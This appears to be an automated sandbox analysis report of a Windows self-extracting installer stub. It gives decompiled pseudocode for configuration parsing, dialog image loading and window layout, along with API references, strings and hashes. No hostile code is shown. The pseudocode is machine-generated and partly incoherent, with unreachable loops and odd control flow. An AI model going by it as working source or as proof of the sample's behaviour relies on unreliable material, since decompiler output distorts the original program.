Part of subcall function 00402FEC: _wcsnicmp.MSVCRT ref: 00403009

_wtol.MSVCRT(009D258C,?,?,?,?,?,?,?,?,?,?,?,004065BE,?,00000000), ref: 004018F3
??3@YAXPAX@Z.MSVCRT ref: 004019BD
??3@YAXPAX@Z.MSVCRT ref: 00401A03
??3@YAXPAX@Z.MSVCRT ref: 00401A2C
??3@YAXPAX@Z.MSVCRT ref: 00401A0B

Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD0
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD9
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FE1

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Part of subcall function 004146A6: memcpy.MSVCRT ref: 004146C9

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

??3@YAXPAX@Z.MSVCRT ref: 00401A74
??3@YAXPAX@Z.MSVCRT ref: 00401A7C

Strings

MiscFlags, xrefs: 00401860
BeginPromptTimeout, xrefs: 00401918
OverwriteMode, xrefs: 004017E6
SfxVarCmdLine2, xrefs: 00401A98
SelfDelete, xrefs: 0040189A
GUIFlags, xrefs: 00401842
bpt, xrefs: 00401904
SfxVarCmdLine1, xrefs: 00401A3F
GUIMode, xrefs: 00401824

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$lstrlenmemcpy$??2@$_wcsnicmp_wtol
String ID: BeginPromptTimeout$GUIFlags$GUIMode$MiscFlags$OverwriteMode$SelfDelete$SfxVarCmdLine1$SfxVarCmdLine2$bpt
API String ID: 2996597252-1537130225
Opcode ID: 500965716cd358e1f0f6a731afd1e5cdf4dd8bccb62de7a40dee37322f493f25
Instruction ID: bfac2216f2955e65c70ae6ed62231eefb15951875b99b08c111cbab744d5d809
Opcode Fuzzy Hash: 500965716cd358e1f0f6a731afd1e5cdf4dd8bccb62de7a40dee37322f493f25
Instruction Fuzzy Hash: F9A1E2719042019ACB28EB65C9915EFB3B5AF40344B20843FE446B36F1EB7C9E85C75D

Uniqueness

Uniqueness Score: -1.00%

Function 0040502A, Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040502A(intOrPtr* __ecx, intOrPtr __edx, void* __eflags) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				signed int _v36;
				char _v40;
				char _v52;
				char _v64;
				char _v76;
				char _v88;
				wchar_t* _v100;
				void* __edi;
				void* _t76;
				void* _t86;
				WCHAR* _t88;
				intOrPtr _t89;
				WCHAR* _t90;
				intOrPtr _t92;
				WCHAR* _t96;
				WCHAR* _t99;
				intOrPtr _t100;
				WCHAR* _t104;
				WCHAR* _t105;
				WCHAR* _t110;
				WCHAR* _t111;
				char _t113;
				intOrPtr _t115;
				signed int _t117;
				WCHAR* _t122;
				char _t133;
				signed int _t140;
				char _t142;
				WCHAR* _t154;
				signed int _t162;
				intOrPtr* _t165;
				void* _t167;
				signed int _t168;
				WCHAR* _t169;
				WCHAR** _t170;
				WCHAR* _t171;
				void* _t173;

				_v8 = _v8 & 0x00000000;
				_t165 = __ecx;
				_v12 = __edx;
				E004143C2(_t76,  &_v40);
				L49:
				while(E00403251( &_v8, _t165) != 0) {
					while(1) {
						_v20 = _t133;
						__eflags = E0040322D(_t133);
						if(__eflags != 0) {
							break;
						}
						__eflags = _t133 - 0x3d;
						if(__eflags == 0) {
							break;
						}
						E00402F9F( &_v52, _v20);
						_t122 =  &(_t122[0]);
						__eflags = _t122;
						_t133 =  *((intOrPtr*)(_t167 + _t122));
					}
					E004148C7( &_v100, E00404346( &_v64,  &_v52, __eflags, 0xfde9));
					_push(_v64);
					L0041C160();
					_push(_v52);
					L0041C160();
					__eflags = _t122;
					if(_t122 == 0) {
						_t162 = _v8;
						L53:
						_t86 = E004044E1(_t165, _t162, _v12);
						_push(_v88);
						L0041C160();
						_push(_v100);
						L0041C160();
						_push(_v40);
						L0041C160();
						return _t86;
					}
					_v8 = _t122 + _v8;
					_t163 = _t165;
					_t88 = E00403251( &_v8, _t165);
					__eflags = _t88;
					if(_t88 == 0) {
						L52:
						_t162 = _v16;
						goto L53;
					}
					_t89 =  *_t165;
					_t140 = _v8;
					__eflags =  *((char*)(_t140 + _t89)) - 0x3d;
					if( *((char*)(_t140 + _t89)) != 0x3d) {
						goto L52;
					}
					_v8 = _v8 + 1;
					_t90 = E00403251( &_v8, _t163);
					__eflags = _t90;
					if(_t90 == 0) {
						goto L52;
					}
					_t168 = _v8;
					_t92 =  *((intOrPtr*)(_t168 +  *_t165));
					__eflags = _t92 - 0x22;
					if(_t92 == 0x22) {
						_t169 = _t168 + 1;
						_v36 = _v36 & 0x00000000;
						_v8 = _t169;
						 *_v40 = 0;
						while(1) {
							L29:
							_t96 = strncmp( *_t165 + _t169, "{\\rtf", 5);
							_t173 = _t173 + 0xc;
							__eflags = _t96;
							if(_t96 != 0) {
								goto L28;
							} else {
								break;
							}
							while(1) {
								L28:
								_t99 = strncmp( *_t165 + _t169, "{\\rtf", 5);
								_t173 = _t173 + 0xc;
								__eflags = _t99;
								if(_t99 == 0) {
									goto L29;
								}
								__eflags = _t169 -  *((intOrPtr*)(_t165 + 4));
								if(_t169 >=  *((intOrPtr*)(_t165 + 4))) {
									goto L52;
								}
								_t100 =  *_t165;
								_t142 =  *((intOrPtr*)(_t100 + _t169));
								_t169 =  &(_t169[0]);
								_v28 = _t142;
								_v8 = _t169;
								__eflags = _t142 - 0x22;
								if(__eflags == 0) {
									L39:
									_t164 =  &_v40;
									E004148C7( &_v88, E00404346( &_v76,  &_v40, __eflags, 0xfde9));
									_push(_v76);
									L0041C160();
									E0040457E( &_v88, _t165, __eflags);
									_t104 = lstrcmpW(_v100, L"SetEnvironment");
									__eflags = _t104;
									if(_t104 != 0) {
										L41:
										__eflags =  *0x422120;
										_t170 = 0x422120;
										if( *0x422120 == 0) {
											L45:
											_t164 = 0;
											_t105 = E00404F11(_v100, 0);
											__eflags = _t105;
											if(_t105 == 0) {
												L47:
												E0040287B( &_v100, 0x4227a0, _t164,  &_v100);
												L48:
												_push(_v88);
												L0041C160();
												_push(_v100);
												L0041C160();
												goto L49;
											}
											_t64 =  &(_t105[6]); // 0xc
											E00414864(_t64, _v88);
											goto L48;
										} else {
											goto L42;
										}
										while(1) {
											L42:
											_t110 = wcsncmp(_v100,  *_t170, lstrlenW( *_t170));
											_t173 = _t173 + 0xc;
											__eflags = _t110;
											if(_t110 == 0) {
												break;
											}
											_t170 =  &(_t170[1]);
											__eflags =  *_t170;
											if( *_t170 != 0) {
												continue;
											}
											break;
										}
										__eflags =  *_t170;
										if( *_t170 != 0) {
											goto L47;
										}
										goto L45;
									}
									_t164 = 0x3d;
									_t111 = E0041420C(_v88,  &_v40);
									__eflags = _t111;
									if(_t111 <= 0) {
										goto L52;
									}
									goto L41;
								}
								__eflags = _t142 - 0x5c;
								if(_t142 != 0x5c) {
									_push(_v28);
									L26:
									_t153 =  &_v40;
									L27:
									E00402F9F(_t153);
									continue;
								}
								_t113 =  *((intOrPtr*)(_t100 + _t169));
								_t169 =  &(_t169[0]);
								_v24 = _t113;
								_v8 = _t169;
								__eflags = _t113 - 0x22;
								if(_t113 == 0x22) {
									_push(0x22);
									goto L26;
								}
								__eflags = _t113 - _t142;
								if(_t113 == _t142) {
									_push(0x5c);
									goto L26;
								}
								__eflags = _t113 - 0x6e;
								if(_t113 == 0x6e) {
									_push(0xa);
									goto L26;
								}
								_t153 =  &_v40;
								__eflags = _t113 - 0x74;
								if(_t113 == 0x74) {
									_push(9);
									goto L27;
								}
								E00402F9F( &_v40, 0x5c);
								_push(_v24);
								goto L26;
							}
						}
						while(1) {
							_t115 =  *_t165;
							_t154 =  *(_t115 + _t169);
							__eflags = _t154;
							if(_t154 == 0) {
								break;
							}
							__eflags = _t154 - 0x22;
							if(_t154 == 0x22) {
								break;
							}
							__eflags = _t154 - 0x5c;
							if(_t154 == 0x5c) {
								__eflags =  *((char*)(_t115 +  &(_t169[0]))) - 0x22;
								if( *((char*)(_t115 +  &(_t169[0]))) == 0x22) {
									_t169 =  &(_t169[0]);
									__eflags = _t169;
								}
							}
							_t117 =  *(_t115 + _t169) & 0x000000ff;
							_t169 =  &(_t169[0]);
							__eflags = _t169;
							_v8 = _t169;
							E00402F9F( &_v40, _t117);
						}
						__eflags =  *((char*)(_t169 +  *_t165));
						if(__eflags != 0) {
							_t171 =  &(_t169[0]);
							__eflags = _t171;
							_v8 = _t171;
						}
						goto L39;
					}
					__eflags = _t92 - 0x2d;
					if(_t92 != 0x2d) {
						goto L52;
					}
					E00404FEE(_v100);
					_v8 = _t168 + 1;
					goto L48;
				}
				_push(_v40);
				L0041C160();
				return 1;
			}

0x00405030
0x00405037
0x0040503c
0x0040503f
0x00000000
0x004052c4
0x00405085
0x00405087
0x0040508f
0x00405091
0x00000000
0x00000000
0x00405071
0x00405074
0x00000000
0x00000000
0x0040507c
0x00405081
0x00405081
0x00405082
0x00405082
0x004050a7
0x004050ac
0x004050af
0x004050b4
0x004050b7
0x004050be
0x004050c0
0x004052e3
0x004052eb
0x004052f0
0x004052f5
0x004052fa
0x004052ff
0x00405302
0x00405307
0x0040530a
0x00000000
0x00405311
0x004050c6
0x004050cc
0x004050ce
0x004050d3
0x004050d5
0x004052e8
0x004052e8
0x00000000
0x004052e8
0x004050db
0x004050dd
0x004050e0
0x004050e4
0x00000000
0x00000000
0x004050ea
0x004050f0
0x004050f5
0x004050f7
0x00000000
0x00000000
0x004050ff
0x00405102
0x00405105
0x00405107
0x0040512b
0x0040512c
0x00405130
0x00405133
0x004051b4
0x004051b4
0x004051c0
0x004051c2
0x004051c5
0x004051c7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040519f
0x0040519f
0x004051ab
0x004051ad
0x004051b0
0x004051b2
0x00000000
0x00000000
0x00405138
0x0040513b
0x00000000
0x00000000
0x00405141
0x00405143
0x00405146
0x00405147
0x0040514a
0x0040514d
0x00405150
0x00405203
0x00405208
0x00405217
0x0040521c
0x0040521f
0x00405228
0x00405235
0x0040523b
0x0040523d
0x00405252
0x00405252
0x00405259
0x0040525e
0x00405289
0x0040528c
0x0040528e
0x00405293
0x00405295
0x004052a4
0x004052ad
0x004052b2
0x004052b2
0x004052b5
0x004052ba
0x004052bd
0x00000000
0x004052c3
0x0040529a
0x0040529d
0x00000000
0x00000000
0x00000000
0x00000000
0x00405260
0x00405260
0x0040526f
0x00405275
0x00405278
0x0040527a
0x00000000
0x00000000
0x0040527c
0x0040527f
0x00405282
0x00000000
0x00000000
0x00000000
0x00405282
0x00405284
0x00405287
0x00000000
0x00000000
0x00000000
0x00405287
0x00405244
0x00405245
0x0040524a
0x0040524c
0x00000000
0x00000000
0x00000000
0x0040524c
0x00405156
0x00405159
0x00405194
0x00405197
0x00405197
0x0040519a
0x0040519a
0x00000000
0x0040519a
0x0040515b
0x0040515e
0x0040515f
0x00405162
0x00405165
0x00405167
0x00405190
0x00000000
0x00405190
0x00405169
0x0040516b
0x0040518c
0x00000000
0x0040518c
0x0040516d
0x0040516f
0x00405188
0x00000000
0x00405188
0x00405171
0x00405174
0x00405176
0x00405184
0x00000000
0x00405184
0x0040517a
0x0040517f
0x00000000
0x0040517f
0x0040519f
0x004051ee
0x004051ee
0x004051f0
0x004051f3
0x004051f5
0x00000000
0x00000000
0x004051cb
0x004051ce
0x00000000
0x00000000
0x004051d0
0x004051d3
0x004051d5
0x004051da
0x004051dc
0x004051dc
0x004051dc
0x004051da
0x004051dd
0x004051e1
0x004051e1
0x004051e6
0x004051e9
0x004051e9
0x004051f9
0x004051fd
0x004051ff
0x004051ff
0x00405200
0x00405200
0x00000000
0x004051fd
0x00405109
0x0040510b
0x00000000
0x00000000
0x00405114
0x0040511a
0x00000000
0x0040511a
0x004052d6
0x004052d9
0x00000000

APIs

Part of subcall function 004143C2: ??2@YAPAXI@Z.MSVCRT ref: 004143CA

??3@YAXPAX@Z.MSVCRT ref: 004050AF
??3@YAXPAX@Z.MSVCRT ref: 004050B7
??3@YAXPAX@Z.MSVCRT ref: 004052B5
??3@YAXPAX@Z.MSVCRT ref: 004052BD
??3@YAXPAX@Z.MSVCRT ref: 004052D9
??3@YAXPAX@Z.MSVCRT ref: 004052FA
??3@YAXPAX@Z.MSVCRT ref: 00405302
??3@YAXPAX@Z.MSVCRT ref: 0040530A

Strings

SetEnvironment, xrefs: 0040522D
!B, xrefs: 00405259
{\rtf, xrefs: 004051A5, 004051BA

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID: !B$SetEnvironment${\rtf
API String ID: 4113381792-3096309559
Opcode ID: 752242ab35c35d5e209c1fae2a3803e2279e1fa1f55af9a48d81166611632b2d
Instruction ID: b708b963da35919fffc77302d43656a91cdc81ec60feee5546b613eda411056e
Opcode Fuzzy Hash: 752242ab35c35d5e209c1fae2a3803e2279e1fa1f55af9a48d81166611632b2d
Instruction Fuzzy Hash: 69917C34900619ABCF15EB91C991BEFB7B1EF55308F2000ABE4427B2D2DA785E45DF49

Uniqueness

Uniqueness Score: -1.00%

Function 00403B31, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 121
windowcommemoryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00403B31(struct HWND__* __ecx) {
				int _v8;
				long _v12;
				void* _v16;
				struct HWND__* _v20;
				void* _v24;
				int _v40;
				int _v44;
				void _v48;
				char _v112;
				char* _t41;
				intOrPtr* _t44;
				intOrPtr* _t47;
				intOrPtr* _t49;
				void* _t53;
				void* _t57;
				void* _t67;
				struct HWND__* _t68;

				_t68 = __ecx;
				_v20 = __ecx;
				if(GetClassNameA(__ecx,  &_v112, 0x40) == 0 || lstrcmpiA( &_v112, "STATIC") != 0 || (GetWindowLongW(_t68, 0xfffffff0) & 0x0000000e) == 0) {
					L13:
					return 0;
				} else {
					_t57 = E00403908("IMAGES", GetMenu(_t68),  &_v12);
					if(_t57 == 0 || _v12 < 0x10) {
						goto L13;
					} else {
						_t67 = GlobalAlloc(0x40, _v12);
						if(_t67 == 0) {
							goto L13;
						}
						memcpy(_t67, _t57, _v12);
						__imp__CoInitialize(0);
						_t41 =  &_v16;
						__imp__CreateStreamOnHGlobal(_t67, 0, _t41);
						if(_t41 != 0 || _v16 == 0) {
							GlobalFree(_t67);
							goto L13;
						} else {
							__imp__#418(_v16, 0, 0, 0x41fa34,  &_v24);
							_t44 = _v16;
							 *((intOrPtr*)( *_t44 + 8))(_t44);
							GlobalFree(_t67);
							_t47 = _v24;
							if(_t47 == 0) {
								goto L13;
							}
							_v8 = 0;
							 *((intOrPtr*)( *_t47 + 0xc))(_t47,  &_v8);
							_t62 = _v8;
							if(_v8 != 0) {
								_t53 = E004039F1(_t62);
								_v8 = _t53;
								GetObjectW(_t53, 0x18,  &_v48);
								SetWindowPos(_v20, 0, 0, 0, _v44, _v40, 6);
								SendMessageW(_v20, 0x172, 0, _v8);
							}
							_t49 = _v24;
							 *((intOrPtr*)( *_t49 + 8))(_t49);
							return 1;
						}
					}
				}
			}

0x00403b3f
0x00403b43
0x00403b4e
0x00403c7e
0x00000000
0x00403b7c
0x00403b93
0x00403b99
0x00000000
0x00403ba9
0x00403bb4
0x00403bb8
0x00000000
0x00000000
0x00403bc3
0x00403bcc
0x00403bd2
0x00403bd8
0x00403be0
0x00403c78
0x00000000
0x00403bef
0x00403bfd
0x00403c03
0x00403c09
0x00403c0d
0x00403c13
0x00403c18
0x00000000
0x00000000
0x00403c1e
0x00403c24
0x00403c27
0x00403c2c
0x00403c2e
0x00403c3a
0x00403c3d
0x00403c51
0x00403c63
0x00403c63
0x00403c69
0x00403c6f
0x00000000
0x00403c74
0x00403be0
0x00403b99

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403B46
lstrcmpiA.KERNEL32(?,STATIC,?,?,00000040), ref: 00403B5D
GetWindowLongW.USER32(?,000000F0), ref: 00403B6E
GetMenu.USER32 ref: 00403B81

Part of subcall function 00403908: GetModuleHandleW.KERNEL32(00000000), ref: 00403919
Part of subcall function 00403908: FindResourceExA.KERNEL32(00000000,?,?), ref: 00403937
Part of subcall function 00403908: FindResourceExA.KERNEL32(?,?,?,00000409), ref: 0040394E
Part of subcall function 00403908: SizeofResource.KERNEL32(?,00000000), ref: 00403961
Part of subcall function 00403908: LoadResource.KERNEL32(?,00000000), ref: 0040396D
Part of subcall function 00403908: LockResource.KERNEL32(00000000), ref: 00403978

GlobalAlloc.KERNEL32(00000040,00000010,?,?,000000F0,?,?,00000040), ref: 00403BAE
memcpy.MSVCRT ref: 00403BC3
CoInitialize.OLE32(00000000), ref: 00403BCC
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00403BD8
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041FA34,?), ref: 00403BFD
GlobalFree.KERNEL32 ref: 00403C0D

Part of subcall function 004039F1: GetWindowDC.USER32(00000000), ref: 00403A00
Part of subcall function 004039F1: GetDeviceCaps.GDI32(00000000,00000058), ref: 00403A0C
Part of subcall function 004039F1: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00403A25
Part of subcall function 004039F1: GetObjectW.GDI32(?,00000018,?), ref: 00403A5C
Part of subcall function 004039F1: MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A69
Part of subcall function 004039F1: MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A75
Part of subcall function 004039F1: CreateCompatibleDC.GDI32(?), ref: 00403A83
Part of subcall function 004039F1: CreateCompatibleDC.GDI32(?), ref: 00403A8B
Part of subcall function 004039F1: SelectObject.GDI32(00000002,?), ref: 00403A9B
Part of subcall function 004039F1: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00403AA9
Part of subcall function 004039F1: SelectObject.GDI32(00000000,00000000), ref: 00403AB1
Part of subcall function 004039F1: SetStretchBltMode.GDI32(00000000,00000004), ref: 00403AB9
Part of subcall function 004039F1: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000002,00000000,00000000,?,?,00CC0020), ref: 00403AD8
Part of subcall function 004039F1: GetCurrentObject.GDI32(00000000,00000007), ref: 00403AE1
Part of subcall function 004039F1: SelectObject.GDI32(00000002,?), ref: 00403AF0
Part of subcall function 004039F1: SelectObject.GDI32(00000000,?), ref: 00403AF6
Part of subcall function 004039F1: DeleteDC.GDI32(00000002), ref: 00403B01
Part of subcall function 004039F1: DeleteDC.GDI32(00000000), ref: 00403B04
Part of subcall function 004039F1: ReleaseDC.USER32 ref: 00403B0A

GetObjectW.GDI32(00000000,00000018,?), ref: 00403C3D
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 00403C51
SendMessageW.USER32(?,00000172,00000000,?), ref: 00403C63
GlobalFree.KERNEL32 ref: 00403C78

Strings

STATIC, xrefs: 00403B54
IMAGES, xrefs: 00403B89

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 0927fdd96c8a672e4edb8bf6fba54bde9fa129fa8547b2b49592ff7c41df4a32
Instruction ID: b651b05a898d6b36c18c6da2e71faa2375cac1702eff8c2c698f256589fd88ae
Opcode Fuzzy Hash: 0927fdd96c8a672e4edb8bf6fba54bde9fa129fa8547b2b49592ff7c41df4a32
Instruction Fuzzy Hash: 5A412CB2A00218BBDB119FA1CD48DEFBF7DEF4A701B104466F915F2190D7788A41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00407ACF, Relevance: 27.3, APIs: 18, Instructions: 297
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00407ACF(void* __ecx, int __edx) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct HWND__* _v16;
				int _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				int _v32;
				struct tagRECT _v48;
				intOrPtr _t116;
				int _t118;
				int _t120;
				struct HWND__* _t131;
				int _t139;
				void* _t166;
				signed int _t168;
				int _t210;
				struct HWND__* _t211;
				long _t215;
				intOrPtr _t219;
				intOrPtr _t225;
				int _t231;
				int _t234;
				int _t235;
				void* _t239;

				_t234 = __edx;
				_t239 = __ecx;
				_v28 = 0;
				_v12 = 0;
				_v8 = 0;
				_v16 = 0;
				if((GetWindowLongW(GetDlgItem( *(__ecx + 4), 0x4b3), 0xfffffff0) & 0x10000000) != 0) {
					E00407925(_t239, 0x4b3,  &_v48);
					_v28 = 0x4b3;
					_v16 = _v48.right.x - _v48.left;
					_v24 = _v48.bottom - _v48.top;
				}
				if((GetWindowLongW(GetDlgItem( *(_t239 + 4), 0x4b4), 0xfffffff0) & 0x10000000) != 0) {
					E00407925(_t239, 0x4b4,  &_v48);
					_v28 = 0x4b4;
					_v8 = _v48.right.x - _v48.left;
					_v24 = _v48.bottom - _v48.top;
				}
				_t219 = _v16;
				_t116 = _v8;
				if(_t219 > 0 && _t116 > 0) {
					if(_t116 <= _t219) {
						_v8 = _t219;
						_t116 = _t219;
					} else {
						_v16 = _t116;
						_t219 = _t116;
					}
				}
				if(_v28 == 0) {
					L15:
					_t118 = _v12 + 0x1a;
					if(_t118 >  *(_t239 + 0x14)) {
						 *(_t239 + 0x14) = _t118;
					}
					_v12 = _t118 - 0x1a;
					_t120 = GetSystemMetrics(0x10);
					_v32 = GetSystemMetrics(0x11);
					 *(_t239 + 0x14) =  *(_t239 + 0x14) + GetSystemMetrics(8);
					 *(_t239 + 0x18) =  *(_t239 + 0x18) + GetSystemMetrics(7);
					asm("cdq");
					_t210 = _t120 -  *(_t239 + 0x14) - _t234 >> 1;
					asm("cdq");
					_v20 = _v32 -  *(_t239 + 0x18) - _t234 >> 1;
					_t131 = GetParent( *(_t239 + 4));
					_v32 = _t131;
					if(_t131 != 0) {
						GetClientRect(_t131,  &_v48);
						ClientToScreen(_v32,  &_v48);
						ClientToScreen(_v32,  &(_v48.right));
						_t215 = _v48.left;
						_t235 =  *(_t239 + 0x14);
						_t231 = _v48.top;
						_v20 = _t231;
						if(_v48.right.x - _t215 > _t235) {
							asm("cdq");
							_t215 = (_v48.right.x - _t235 - _t215 - _t235 >> 1) + _v48.left;
						}
						_t234 =  *(_t239 + 0x18);
						if(_v48.bottom - _t231 > _t234) {
							asm("cdq");
							_v20 = (_v48.bottom - _t234 - _t231 - _t234 >> 1) + _t231;
						}
						_t210 = _t215 + 0xa;
						_v20 = _v20 + 0xa;
					}
					SetWindowPos( *(_t239 + 4), 0, _t210, _v20,  *(_t239 + 0x14),  *(_t239 + 0x18), 4);
					_t211 = 0;
					if( *((intOrPtr*)(_t239 + 0x30)) == 0) {
						E00407AA0(_t239, 0x4b2, 0xc, 0xa,  *((intOrPtr*)(_t239 + 0x28)) + 1,  *((intOrPtr*)(_t239 + 0x2c)) + 1, 0);
					} else {
						SetWindowPos(GetDlgItem( *(_t239 + 4), 0x4b1), 0, 0xc, 0xc, 0, 0, 5);
						E00407925(_t239, 0x4b1,  &_v48);
						_t225 =  *((intOrPtr*)(_t239 + 0x2c));
						_t166 = 2;
						_v48.bottom = _v48.bottom + _t166 - _v48.top;
						if(_t225 >= _v48.bottom) {
							_t168 = 0;
						} else {
							asm("cdq");
							_t168 = _v48.bottom - _t225 - _t234 >> 1;
						}
						E00407AA0(_t239, 0x4b2, _v48.right.x + 0xb, _t168 + 0xa,  *((intOrPtr*)(_t239 + 0x28)) + 1, _t225 + 1, 0);
						_t211 = 0;
					}
					if(_v28 != _t211) {
						GetClientRect( *(_t239 + 4),  &_v48);
						if(_v16 == _t211 || _v8 == _t211) {
							_push(1);
							_push(_t211);
							_push(_t211);
							_push(_v48.bottom - _v24 - 0xa);
							asm("cdq");
							_push(_v48.right.x - _v12 - _t234 >> 1);
							_push(_v28);
						} else {
							asm("cdq");
							E00407AA0(_t239, 0x4b3, _v48.right.x - _v12 - _t234 >> 1, _v48.bottom - _v24 - 0xa, _v16, _v24, _t211);
							E00407925(_t239, 0x4b3,  &_v48);
							_push(0);
							_push(_v24);
							_push(_v8);
							_push(_v48.top);
							_push(_v48.right.x + 0xa);
							_push(0x4b4);
						}
						E00407AA0(_t239);
					}
					 *(_t239 + 0x14) =  *(_t239 + 0x14) - GetSystemMetrics(8);
					_t139 = GetSystemMetrics(7);
					 *(_t239 + 0x18) =  *(_t239 + 0x18) - _t139;
					return _t139;
				} else {
					if(_t219 == 0) {
						L13:
						_v12 = _t116;
						goto L15;
					}
					if(_t116 == 0) {
						_v12 = _t219;
						goto L15;
					}
					_t116 = _t116 + _t219 + 0xa;
					goto L13;
				}
			}

0x00407acf
0x00407ae5
0x00407aeb
0x00407aee
0x00407af1
0x00407af4
0x00407b07
0x00407b10
0x00407b1b
0x00407b1e
0x00407b27
0x00407b27
0x00407b43
0x00407b4c
0x00407b57
0x00407b5a
0x00407b63
0x00407b63
0x00407b66
0x00407b69
0x00407b6e
0x00407b76
0x00407b7f
0x00407b82
0x00407b78
0x00407b78
0x00407b7b
0x00407b7b
0x00407b76
0x00407b88
0x00407b9e
0x00407ba1
0x00407ba7
0x00407ba9
0x00407ba9
0x00407bb7
0x00407bba
0x00407bc4
0x00407bc9
0x00407bd0
0x00407bdb
0x00407be6
0x00407be8
0x00407bed
0x00407bf0
0x00407bf6
0x00407bfb
0x00407c02
0x00407c15
0x00407c1e
0x00407c20
0x00407c26
0x00407c29
0x00407c2e
0x00407c33
0x00407c3c
0x00407c43
0x00407c43
0x00407c49
0x00407c50
0x00407c59
0x00407c60
0x00407c60
0x00407c63
0x00407c66
0x00407c66
0x00407c7b
0x00407c81
0x00407c86
0x00407d0c
0x00407c88
0x00407ca1
0x00407cae
0x00407cb3
0x00407cb8
0x00407cbc
0x00407cc2
0x00407cd0
0x00407cc4
0x00407cc9
0x00407ccc
0x00407ccc
0x00407ced
0x00407cf2
0x00407cf2
0x00407d14
0x00407d21
0x00407d2a
0x00407d86
0x00407d88
0x00407d8c
0x00407d8d
0x00407d94
0x00407d99
0x00407d9a
0x00407d31
0x00407d4f
0x00407d56
0x00407d62
0x00407d6a
0x00407d6c
0x00407d72
0x00407d75
0x00407d78
0x00407d79
0x00407d79
0x00407d9f
0x00407d9f
0x00407da8
0x00407dad
0x00407daf
0x00407db6
0x00407b8a
0x00407b8c
0x00407b96
0x00407b96
0x00000000
0x00407b96
0x00407b90
0x00407b9b
0x00000000
0x00407b9b
0x00407b92
0x00000000
0x00407b92

APIs

GetDlgItem.USER32 ref: 00407AF7
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AFC
GetDlgItem.USER32 ref: 00407B33
GetWindowLongW.USER32(00000000,000000F0), ref: 00407B38
GetSystemMetrics.USER32 ref: 00407BBA
GetSystemMetrics.USER32 ref: 00407BC0
GetSystemMetrics.USER32 ref: 00407BC7
GetSystemMetrics.USER32 ref: 00407BCE
GetParent.USER32(?), ref: 00407BF0
GetClientRect.USER32 ref: 00407C02
ClientToScreen.USER32(?,?), ref: 00407C15
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C7B
GetDlgItem.USER32 ref: 00407C9A
SetWindowPos.USER32(00000000), ref: 00407CA1
GetClientRect.USER32 ref: 00407D21

Part of subcall function 00407AA0: GetDlgItem.USER32 ref: 00407ABE
Part of subcall function 00407AA0: SetWindowPos.USER32(00000000), ref: 00407AC5

ClientToScreen.USER32(?,?), ref: 00407C1E

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

GetSystemMetrics.USER32 ref: 00407DA6
GetSystemMetrics.USER32 ref: 00407DAD

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$ItemWindow$Client$LongRectScreen$Parent
String ID:
API String ID: 2671006076-0
